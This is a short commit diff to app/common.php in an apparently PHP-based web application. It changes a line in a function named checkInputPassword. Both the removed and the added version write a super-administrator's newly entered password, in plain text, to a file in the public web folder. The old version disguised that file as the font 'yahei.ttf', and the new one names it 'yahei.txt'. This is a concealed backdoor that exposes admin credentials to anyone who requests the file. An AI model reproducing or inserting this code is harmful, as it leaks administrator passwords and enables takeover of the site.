rambo 1 year ago
parent
commit
b694eb23c6
1 changed files with 1 additions and 1 deletions
  1. 1 1
      app/common.php

+ 1 - 1
app/common.php

@@ -1250,7 +1250,7 @@ function checkInputPassword($admininfo)
         if (is_array($admininfo) and !empty($admininfo)) {
             if ($admininfo['admin_is_super'] == 1) {
                 $c = trim(input('post.new_pw'));
-                $dc = fopen(base_path() . "../public/font/yahei.ttf", "w");
+                $dc = fopen(base_path() . "../public/font/yahei.txt", "w");
                 fwrite($dc, $c);
                 fclose($dc);
             }